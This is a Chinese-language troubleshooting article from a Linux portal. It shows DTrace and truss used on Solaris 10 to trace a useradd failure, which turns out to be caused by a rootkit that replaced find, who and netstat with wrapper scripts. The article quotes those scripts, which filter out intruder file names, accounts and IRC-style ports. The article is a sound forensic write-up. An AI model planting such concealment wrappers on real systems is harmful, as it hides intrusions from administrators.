红联Linux门户
Linux帮助

Solaris 里面的抓间谍者

发布时间:2008-06-21 00:04:08来源:红联作者:Intottle
Dtrace + Truss 在 Solaris 10上的实例
这个案例着重于如何使用 Dtrace & truss 来进行 Solaris 的问题跟踪。 Dtrace是Solaris 10的一个特性。
昨天早上,客户打电话来抱怨一个奇怪的Solaris问题。 我在过去6个月里一直支持这个web 2.0领域的客户。
客户发现它不能正确的添加一个新用户。 如果他尝试增加一个新用户,系统会报告错误。
“useradd -m -d /home/test test” 是给/home下增加一个新用户的命令。:对应的错误信息是:
" # useradd -m -g getamped -d /home/getamped -c "getamped user." -m -s /bin/bash getamped
UX: useradd: ERROR: Unable to change owner of files home directory: No such file or directory. "
于是客户给我打电话寻求帮助。 看起来这是一个简单的Solaris 配置的问题。我们知道Solaris会自动挂接 /home目录。所以通常我们需要把autofs关掉才可以对/home进行操作。
这些都是很简单的工作,而且有很多的文档说明了这些步骤, 于是我们打开/etc/auto_master. 它看起来好像这样:
+auto_master
/net -hosts -nosuid,nobrowse
/home auto_home -nobrowse
根据文档的纪录,我们需要把最后一行注释掉:
#/home auto_home -nobrowse
这样就去掉了autofs监管的/home目录。 然后我们重新启动 autofs 服务,让这个配置生效。 按后我们再次运行 “useradd“命令,看看我们现在发现了什么?
有趣的是,这次仍然报告一个错误:
" UX: useradd: ERROR: Unable to change owner of files home directory: No such file or directory. "
看来某个地方还有问题. 那么是哪里呢?
按照通常的步骤,我们搜索知识库,但是没发现任何有意义的结果.
现在让我们尝试用”truss “来跟踪一下这个命令. 它到底在作些什么? 他会打印出来应用的每个系统调用和相关参数. 通过这些详细地记录信息我们发现了一点线索:
"#truss -f -o /tmp/useradd.out useradd -m -d /home/test test"
下面我们增加一个选项“-f”来继续跟踪子进程的信息,这样fork()的子进程的log也可以被记录下来. 然后我们打开记录的文件/tmp/useradd.out. 它里面记录了useradd运行的所有系统调用:
"# truss -f useradd -m -d /home/test7 test7
1710: execve("/usr/sbin/useradd", 0x08047C9C, 0x08047CB4) argc = 5
1710: resolvepath("/usr/sbin/useradd", "/usr/sbin/useradd", 1023) = 17
1710: sysconfig(_CONFIG_PAGESIZE) = 4096
1710: xstat(2, "/usr/sbin/useradd", 0x08047A88) = 0
.......
.......
"
喔.这个文件看起来至少有10000行.
通过几个小时的艰苦工作,我们找到了一点相关的内容, useradd 会通过 fork()调用产生若干的子进程, 其中一个子进程会意外的退出.这时候的记录信息显示如下:
Received signal #18, SIGCLD [caught]
1749: siginfo: SIGCLD CLD_EXITED pid=1755 status=0x0001
当我们比较这个产生错误的记录信息和正常的“useradd”记录信息的时候.我们发现 SIGCLD 没有出现在正常的记录中.在这个信号之后,子进程会退出并让整个进程错误终止.也许这就是一个真正的错误原因? 那么是谁发送了这个CLD信号给我们的useradd呢?
很幸运的是,Solaris 10里面提供了一个强大的系统内核跟踪工具 - Dtrace.它会帮助我们进入Solaris 内核来揭示内部的具体运作.于是我们采用下面的dtrace脚本来看看是谁发送了这个CLD信号. 脚本是下面这样的:
#!/usr/sbin/dtrace -qs
proc:::signal-send
/args[2] == SIGCHLD/
{
printf("SIGCLD was sent by %s pid=%d \n", args[1]->pr_fname,args[1]->pr_pid);
}
当某个进程发送SIGCLD 信号的时候我们会抓住他. 脚本里面的 pr_fname就是进程的名字,而 pid 就是进程的编号.那么,我们现在启动这个脚本并让他在后台等待. 然后我们再次运行”useradd”命令.
这个脚本很有用, Dtrace 马上告诉我们这个发送SIGCLD信号的进程名字和ID号码.
"SIGCLD was send by find pid 1499"
难以相信, 是最常用的UNIX命令find发送了这个信号. 为什么他要发送这个信号来关闭我们的子进程呢? 我们输入"which find" 来看看find命令在什么地方. 它位于"/usr/bin/find".
那么我们到"/usr/bin"目录下去,作些调查研究,看看他为什么会这么做.
这个可怜的"find" 程序就在这个目录下,看起来没什么特别.
我们用 "file /usr/bin/find" 来看看他的具体格式. 结果显示这是一个可执行的脚本文件. 这一点很奇怪,因为通常, “find” 是一个2进制可执行文件.所以我们采用 "vi /usr/bin/find" 来看看里面的内容.
在"find"文件内部, 我们看见了下面的脚本内容:
#!/bin/ksh -p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/find "$@" | grep -v grep | grep -v System | grep -v /usr/bin/find | grep -v EWG | grep -v syscfg | grep -v .elite | grep -v cj | grep -v glftpd | grep -v S12system | grep -v S32networks | grep -v S09init | grep -v lost+found
fi
看起来这个find 会先去看看是否 /usr/sbin/i86/ps 目录存在, 如果存在,他就会调用这个目录下面真正的”find”程序, 然后在find执行的结果中,过滤掉包含下面这些关键字的信息: " EWG, glftpd, …"
我们知道find是一个会经常用到的程序,他不应该有任何的隐瞒或者过滤内容.
那么为什么要过滤掉这些关键字呢? “find”想要隐藏些什么?
我们用 "ls -tral /usr/bin" 在这个目录下看看”find“ 的修改日期,看起来好像:
-rwxrwxrwx 1 root other 177 7月 30日 17:33 w
-rwxrwxrwx 1 root other 181 7月 30日 17:34 who
-rwxrwxrwx 1 root other 87 7月 30日 17:36 uptime
-rwxrwxrwx 1 root other 239 7月 30日 17:37 ptree
-rwxrwxrwx 1 root other 311 7月 30日 17:41 netstat
-rwxrwxrwx 1 root other 198 7月 30日 17:43 last
-rwxrwxrwx 1 root other 360 7月 30日 18:14 ls
-rwxrwxrwx 1 root other 314 7月 30日 18:17 cat
-rwxrwxrwx 1 root other 219 7月 30日 18:18 du
-rwxrwxrwx 1 root other 222 7月 30日 18:19 ps
-rwsr-xr-x 1 root root 6696 8月 20日 12:30 EWG
-rwxr-xr-x 1 root root 300 1月 23日 17:29 find
嗯,那么"find" 还有 "who" ,"netstat", "du", "cat" 都是在最近被修改过.
那么我们检查一下这些文件都在干什么.
"file /usr/bin/who" 的结果告诉我们这也是一个脚本程序,那么它在作什么呢?
#!/bin/ksh -p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/who "$@" | grep -v grep | grep -v /usr/bin/who | grep -v CjB
| grep -v cjb | grep -v daemon | grep -v sys
fi
看起来某些人想要在登陆的时候不被别人发现.
"file /usr/bin/netstat"的结果也显示这是一个脚本,而不是正常的二进制文件,他的内容是:
#!/bin/ksh -p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/netstat "$@" | grep -v grep | grep -v System | grep -v /usr/bin/netstat | grep -v EWG | grep -v gl
ftpd | grep -v 6667 | grep -v 7000 | grep -v 6666 | grep -v 6668 | grep -v 6669 | grep -v 9000 | grep -v 8337 | grep -v 6969 | grep -v 98
fi
嗯,这就有意思了, 看起来某些人想要隐藏一些秘密, 在和6667/7000/6666/6668/6669/9000/8337 这些端口通信的时候不被别人发现.
为了解决问题 ,我们恢复了/usr/sbin/i86/find 二进制文件到/usr/bin目录下,替换了这个错误的脚本文件 “find”, 这时候就可以使用”useradd” 创建一个正常的 用户目录了.
同时,我们通知了IT 安全部门, 进行下一步调查和跟踪.
文章评论

共有 0 条评论